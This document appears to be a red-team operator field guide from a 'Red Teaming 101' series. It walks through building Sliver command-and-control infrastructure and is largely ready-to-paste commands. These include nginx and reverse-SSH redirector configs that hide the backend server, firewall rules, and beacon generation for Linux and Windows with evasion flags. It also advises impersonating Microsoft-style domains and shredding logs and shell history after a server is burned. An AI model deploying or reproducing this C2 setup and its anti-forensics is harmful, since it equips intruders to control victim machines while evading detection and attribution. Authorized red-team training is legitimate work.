1.4 C2 Jump Server Infrastructure
1.4 C2 Jump Server Infrastructure โ Operator's Field Guide
BLUF: Never point your beacon directly at the machine running Sliver. Use a cheap, expendable jump server (redirector) to absorb attribution and deflect scanners. The backend C2 stays dark โ the only IP in your payload is the jump server. If it burns, swap nodes in minutes without losing the operation.
Sections
๐ Ready-to-Use Setup ยท 1. Architecture ยท 2. Provider & Domain Selection ยท 3. Jump Server Setup (nginx redirector) ยท 3B. Alternative: Reverse SSH Tunnel ยท 4. Backend C2 Server Hardening ยท 5. Operator Access Options ยท 6. Beacon Generation ยท 7. Burn & Swap Procedure ยท 8. OPSEC Checklist
Two redirector approaches:
- nginx (default) โ scanner deflection (302 redirect), URI filtering, TLS terminated at jump server. Better OPSEC.
- Reverse SSH tunnel โ no nginx, no cert required on jump server, Sliver handles TLS end-to-end. Faster setup, less filtering. See Section 3B + 7.5_C2_Infrastructure_Walkthrough Option B for full detail.
๐ Ready-to-Use Setup (Copy-Paste Deployment)
Placeholders to replace:
JUMP_IPโ jump server public IPBACKEND_IPโ backend C2 server private/public IPYOUR_IPโ your operator static IPyourdomain.comโ your C2 domainC2_IPโ same asJUMP_IP(beacon calls the jump server domain)
Step 1 โ Provision Two VPS Nodes
Node A (Jump / Redirector): DigitalOcean, Vultr, or Linode โ $6/mo โ expendable
Node B (Backend C2): Hetzner, OVH, or BuyVM โ different provider โ keep protected
Different providers = no correlated takedown from one abuse report
Step 2 โ Domain + Certificate on Jump Server
# Point DNS A record: yourdomain.com โ JUMP_IP
# Use a domain that looks like cloud/CDN infra:
# e.g., azure-updates.net, cdn-telemetry.com, ms-update-svc.com
# On jump server:
apt update && apt install -y nginx certbot python3-certbot-nginx
certbot --nginx -d yourdomain.com
# Cert auto-saved to /etc/letsencrypt/live/yourdomain.com/
Step 3 โ nginx Redirector on Jump Server
cat > /etc/nginx/sites-available/c2 << 'EOF'
server {
listen 443 ssl;
server_name yourdomain.com;
ssl_certificate /etc/letsencrypt/live/yourdomain.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/yourdomain.com/privkey.pem;
# Default: redirect scanners to a legit site โ looks like a misconfigured server
location / {
return 302 https://microsoft.com;
}
# Forward only Sliver's default C2 URI patterns to backend
# Customise these to match your Sliver HTTP profile URIs
location ~* \.(woff|woff2|ttf|otf|js)$ {
proxy_pass https://BACKEND_IP:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
}
}
EOF
ln -s /etc/nginx/sites-available/c2 /etc/nginx/sites-enabled/
nginx -t && systemctl reload nginx
Step 4 โ Firewall Rules
# โโ JUMP SERVER โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
ufw default deny incoming
ufw default allow outgoing
ufw allow from YOUR_IP to any port 22 # SSH from operator only
ufw allow 443/tcp # Beacons call in here
ufw allow 80/tcp # certbot renewal
ufw enable
# โโ BACKEND C2 SERVER โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
ufw default deny incoming
ufw default allow outgoing
ufw allow from YOUR_IP to any port 22 # Operator SSH
ufw allow from JUMP_IP to any port 443 # nginx โ Sliver only
ufw enable
Step 5 โ Sliver on Backend (start server + listener)
# On backend C2 server:
tmux new -s sliver
sliver-server
# Inside Sliver console โ HTTPS listener:
sliver > https --lhost 0.0.0.0 --lport 443
Step 6 โ Operator Access (SSH tunnel from your machine)
# On your machine โ forward Sliver multiplayer port:
ssh -L 31337:localhost:31337 user@BACKEND_IP -N -f
# Import config once, then connect in direct mode:
sliver-client import ./operator.cfg
sliver-client --disable-wg # cfg points to 127.0.0.1:31337
Step 7 โ Generate Beacon (jump server domain as C2 address)
# Beacon calls the JUMP SERVER domain โ backend IP never appears in payload:
sliver > generate beacon \
--os linux --arch amd64 \
--https yourdomain.com:443 \
--seconds 3600 --jitter 600 \
--skip-symbols --evasion \
--limit-datetime 2026-12-31T23:59:59Z \
--name op_beacon \
--save /tmp/payloads/
TL;DR FLOW:
2x VPS (different providers) โ domain + cert on jump โ nginx smart filter
โ firewall lock down backend โ Sliver on backend โ SSH tunnel to operate
โ beacon calls jump domain โ proxied to backend โ you catch it locally
No nginx? If nginx is unavailable or you want faster setup, skip Steps 2โ3 and use a reverse SSH tunnel from the backend instead. See 7.5_C2_Infrastructure_Walkthrough Phase 2 Option B for the full walkthrough. Tradeoffs: no scanner deflection, no URI filtering, but no cert management either.
MITRE ATT&CK Mapping
| Technique ID | Name | Tactic | Where Used |
|---|---|---|---|
| T1090.002 | External Proxy | Command & Control | nginx redirector between beacon and C2 |
| T1583.001 | Domains | Resource Development | C2 domain pointing at jump server |
| T1071.001 | Web Protocols (HTTPS) | Command & Control | HTTPS beacon to jump server |
| T1573.002 | Asymmetric Cryptography | Command & Control | TLS on both hops |
| T1562.004 | Disable or Modify System Firewall | Defense Evasion | Firewall rules to isolate backend |
Section 1 โ Architecture
YOU (operator machine)
โ
โ ssh -L 31337:localhost:31337 โ you control Sliver locally
โผ
BACKEND C2 SERVER (Hetzner / OVH) โ dark, never publicly reachable
sliver-server :443 (accepts from JUMP only)
sliver multiplayer :31337 (localhost only)
firewall: only JUMP_IP:443 + YOUR_IP:22
โ
โ nginx proxy_pass (over HTTPS)
โฒ
JUMP SERVER / REDIRECTOR (DigitalOcean) โ expendable, publicly reachable
nginx :443 โ filters traffic by URI
redirects non-C2 traffic โ microsoft.com
firewall: 443 open, 22 from YOUR_IP only
โ
โ HTTPS beacon callbacks
โฒ
TARGET (victim machine)
beacon payload contains only: yourdomain.com:443
backend IP is NEVER in the payload
Why this matters:
- Target forensics reveal only the jump server IP โ expendable
- Shodan/censys scans hit the jump server โ get a 302 redirect
- If jump server is seized/blocked โ swap DNS to new node, beacons reconnect
- Backend stays running for the whole engagement
Section 2 โ Provider & Domain Selection
VPS Providers
| Role | Good Providers | Avoid |
|---|---|---|
| Jump/Redirector | DigitalOcean, Vultr, Linode, Contabo | Same provider as backend |
| Backend C2 | Hetzner, OVH, BuyVM, Frantech | Big US cloud (AWS/GCP/Azure โ log retention) |
Use different providers in different countries for each node. A DMCA takedown of one won't touch the other.
Domain Selection
โ
Good domain patterns (blend with enterprise traffic):
ms-update-svc.com โ looks like Microsoft update
cdn-static-assets.net โ looks like CDN
azure-telemetry-svc.com โ looks like Azure monitoring
api-gateway-services.io โ looks like cloud API
โ Avoid:
Random strings: xkf82nq.com
Obvious hacker terms: c2-server.com, payload.net
Newly registered domains (< 30 days old) โ flagged by Umbrella/ZScaler
Domain age matters: Register domains 30โ60 days before the engagement if possible.
Section 3 โ Jump Server nginx Config (Deep Dive)
Basic URI Filter (matches Sliver default HTTP profile)
server {
listen 443 ssl;
server_name yourdomain.com;
ssl_certificate /etc/letsencrypt/live/yourdomain.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/yourdomain.com/privkey.pem;
# Access log โ keep for debugging, delete before burn
access_log /var/log/nginx/c2_access.log;
# Default: everything that doesn't match โ redirect to legit site
location / {
return 302 https://microsoft.com$request_uri;
}
# Forward only Sliver C2 traffic (default profile URIs)
location ~* \.(woff|woff2|ttf|otf|js|php|aspx)$ {
proxy_pass https://BACKEND_IP:443;
proxy_ssl_verify off;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_set_header X-Real-IP $remote_addr;
proxy_read_timeout 90;
}
}
Add User-Agent Filtering (optional hardening)
# Only forward if UA looks like a browser (Sliver sends configurable UA):
if ($http_user_agent !~* "(Mozilla|Chrome|Safari|curl)") {
return 403;
}
Custom Sliver HTTP Profile (match your nginx filter)
# In Sliver console โ create a custom HTTP C2 profile:
sliver > http-config --help
# Or edit the implant to use specific URIs matching your nginx rules
# Default Sliver HTTP paths include: *.woff, *.woff2, *.ttf, *.js
# Confirm with: strings ./beacon | grep -E '\.(woff|ttf|js)'
OPSEC: Always verify your nginx URI patterns match what Sliver actually sends. A mismatch means beacons get 302-redirected instead of proxied โ you'll hear nothing.
Section 3B โ Alternative Redirector: Reverse SSH Tunnel
When to use this instead of nginx:
- Jump server doesn't support nginx (shared hosting, locked-down VPS)
- You want zero cert management on the jump server (Sliver handles TLS)
- Speed > OPSEC โ fastest path to a working tunnel
How it works: The backend opens an outbound SSH connection to the jump server and binds port 443 there. Traffic arriving at JUMP_IP:443 is piped directly to Sliver's listener on the backend. No nginx, no certificate. The beacon payload still only references the jump server domain.
YOU (operator)
โ ssh -L 31337:localhost:31337
โผ
BACKEND C2 โโโโโโโโโโ ssh -R 0.0.0.0:443:localhost:443 โโโโโโโโโโโถ JUMP SERVER
Sliver :443 :443 (bound by SSH)
(no public exposure) โ
โ raw TCP forward
โผ
TARGET (beacon)
Tradeoff vs nginx:
| nginx | Reverse SSH | |
|---|---|---|
| Scanner deflection | โ 302 redirect | โ Raw Sliver TLS exposed |
| URI filtering | โ Allowlist by pattern | โ Dumb pipe |
| Cert on jump server | Required (certbot) | Not needed |
| Setup complexity | Medium | Low |
| Sliver fingerprint risk | Low | Higher |
Setup Steps (summary โ full walkthrough in 7.5_C2_Infrastructure_Walkthrough)
Step 1 โ Enable GatewayPorts on jump server:
sudo tee -a /etc/ssh/sshd_config > /dev/null << 'EOF'
Match User c2tunnel
AllowTcpForwarding remote
GatewayPorts clientspecified
PermitListen 0.0.0.0:443
X11Forwarding no
PermitTTY no
EOF
sudo systemctl reload sshd
Step 2 โ Create dedicated tunnel account on jump server:
sudo useradd -r -m -s /usr/sbin/nologin c2tunnel
sudo mkdir -p /home/c2tunnel/.ssh && sudo chmod 700 /home/c2tunnel/.ssh
# Paste backend's public key (~/.ssh/id_ed25519.pub) with forwarding restrictions:
sudo tee /home/c2tunnel/.ssh/authorized_keys << 'EOF'
restrict,port-forwarding,permitlisten="0.0.0.0:443" PASTE_BACKEND_PUBLIC_KEY_HERE
EOF
sudo chown -R c2tunnel:c2tunnel /home/c2tunnel/.ssh
sudo chmod 600 /home/c2tunnel/.ssh/authorized_keys
Why
c2tunnelnotoperator?c2tunnelhas no password and is SSH-key only. If the key leaks, theauthorized_keysrestrictions andMatch Userstanza scope it to remote forwarding on0.0.0.0:443instead of giving away a normal operator account. Test/usr/sbin/nologinon your distro first; if it blocks the tunnel, switch to a low-privilege shell account and keep the SSH restrictions in place.
Step 3 โ Persistent tunnel systemd service (run on backend):
# Approach A: autossh (preferred if available โ `-M 0` means OpenSSH keepalives, not autossh monitor probes):
sudo tee /etc/systemd/system/c2-tunnel.service > /dev/null << EOF
[Unit]
Description=C2 Reverse SSH Tunnel
After=network.target
[Service]
User=operator
ExecStart=/usr/bin/autossh -M 0 -N \
-R 0.0.0.0:443:localhost:443 \
-p 22 c2tunnel@JUMP_IP \
-o ServerAliveInterval=30 -o ServerAliveCountMax=3 \
-o StrictHostKeyChecking=no -o ExitOnForwardFailure=yes
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
EOF
# Approach B: plain SSH + systemd restart loop (no extra packages):
sudo tee /etc/systemd/system/c2-tunnel.service > /dev/null << EOF
[Unit]
Description=C2 Reverse SSH Tunnel
After=network.target
[Service]
User=operator
ExecStart=/usr/bin/ssh -N \
-R 0.0.0.0:443:localhost:443 \
-p 22 c2tunnel@JUMP_IP \
-o ServerAliveInterval=15 -o ServerAliveCountMax=3 \
-o TCPKeepAlive=yes -o ExitOnForwardFailure=yes \
-o ConnectTimeout=10 -o StrictHostKeyChecking=no
Restart=always
RestartSec=5 # Reconnects within ~50s of any drop
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl daemon-reload && sudo systemctl enable --now c2-tunnel
OPSEC: Scanner hits go directly to Sliver โ no 302 deflection. Consider adding firewall rules on the jump server to restrict port 443 access to known target IP ranges, or accept the fingerprinting risk and rotate the jump node if it gets flagged.
Section 4 โ Backend C2 Server Hardening
SSH Hardening
# /etc/ssh/sshd_config on backend:
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
AllowUsers youruser
Port 2222 # Non-standard port (not 22)
# Then: systemctl reload sshd
# Update firewall rule:
ufw delete allow from YOUR_IP to any port 22
ufw allow from YOUR_IP to any port 2222
Disable Unnecessary Services
systemctl disable --now apache2 2>/dev/null
systemctl disable --now postfix 2>/dev/null
# Only nginx (if used on backend) and sliver-server should be listening
ss -tlnp # Verify open ports
Keep Sliver Logs Off Disk (optional)
# Run sliver-server with output suppressed / to tmpfs:
sliver-server > /tmp/sliver.log 2>&1 &
# /tmp is in RAM on most systems โ won't persist across reboots
Section 5 โ Operator Access Options
Option A: SSH Local Port Forward (simplest)
# Forward Sliver multiplayer port to your localhost:
ssh -L 31337:localhost:31337 -p 2222 user@BACKEND_IP -N -f
# Connect with sliver-client:
sliver-client import ./operator.cfg
sliver-client --disable-wg
# operator.cfg generated with:
# sliver > multiplayer --disable-wg
# sliver > new-operator --name you --lhost 127.0.0.1 --lport 31337 \
# --permissions all --disable-wg --save ./operator.cfg
Option B: tmux Session on Backend (interactive)
# SSH to backend and attach to running Sliver session:
ssh -p 2222 user@BACKEND_IP -t "tmux attach -t sliver || tmux new -s sliver"
Option C: WireGuard VPN (most robust for teams)
# Set up WireGuard on backend; all operators join the VPN
# Sliver multiplayer accessible at WireGuard IP, no port forwarding needed
# See: 7.5_C2_Infrastructure_Walkthrough.md for full WireGuard setup
Section 6 โ Beacon Generation Per Platform
# Linux ELF:
generate beacon --os linux --arch amd64 --https yourdomain.com:443 \
--seconds 3600 --jitter 600 --skip-symbols --evasion \
--limit-datetime 2026-12-31T23:59:59Z --save /tmp/payloads/
# Windows EXE:
generate beacon --os windows --arch amd64 --format executable \
--https yourdomain.com:443 \
--seconds 3600 --jitter 600 --skip-symbols --evasion \
--limit-datetime 2026-12-31T23:59:59Z --save /tmp/payloads/
# Windows shellcode (amd64 only):
generate beacon --os windows --arch amd64 --format shellcode \
--https yourdomain.com:443 \
--seconds 3600 --jitter 600 --skip-symbols --evasion \
--limit-datetime 2026-12-31T23:59:59Z --save /tmp/payloads/
# DNS fallback (ultra-stealth, slow):
generate beacon --os linux --arch amd64 \
--dns c2.yourdomain.com \
--seconds 300 --jitter 60 \
--save /tmp/payloads/
All beacons point at
yourdomain.com(jump server). Backend IP never touches a payload.
Section 7 โ Burn & Swap Procedure
Jump Server Burned (IP blocklisted / seized)
# Step 1: Spin up new jump server (5 min on DigitalOcean)
# Step 2: Update DNS A record
# yourdomain.com โ NEW_JUMP_IP
# TTL propagates in 60โ300s (set TTL to 60 before engagement for fast swaps)
# Step 3: Deploy nginx config on new node (keep config in a private git repo):
git clone git@github.com:YOU/c2-configs.git
apt install nginx certbot
certbot --nginx -d yourdomain.com
cp c2-configs/nginx/c2.conf /etc/nginx/sites-available/c2
# Update BACKEND_IP in config
ln -s /etc/nginx/sites-available/c2 /etc/nginx/sites-enabled/
nginx -t && systemctl reload nginx
# Step 4: Apply firewall rules (same as Step 4 in quickstart)
# Step 5: Update backend firewall to allow new JUMP_IP:
ufw delete allow from OLD_JUMP_IP to any port 443
ufw allow from NEW_JUMP_IP to any port 443
# Beacons reconnect automatically on next check-in via DNS
Wipe Burned Jump Server Before Destroy
# Delete logs before destroying droplet:
shred -u /var/log/nginx/c2_access.log
shred -u /var/log/nginx/error.log
shred -u /var/log/auth.log
history -c && cat /dev/null > ~/.bash_history
# Then destroy via provider console/API
Section 8 โ OPSEC Checklist
Before Deployment
During Operation
After Engagement
Resources
| Resource | Type | Relevance |
|---|---|---|
| 7.2 C2 Redirector Infrastructure | Internal | Full reference: socat, Apache, nginx, Caddy, CDN redirectors |
| 7.5 C2 Infrastructure Walkthrough | Internal | End-to-end operational deployment guide |
| BishopFox/sliver | Tool | Sliver C2 |
| LOLBAS Project | Reference | Windows delivery without droppers |
| Redirector Best Practices (FortyNorthSecurity) | Blog | Apache mod_rewrite redirectors |
Part of the Red Teaming 101 series. Previous: 1.3 Sliver C2 Windows ยท See also: 7.2_C2_infra ยท 7.5_C2_Infrastructure_Walkthrough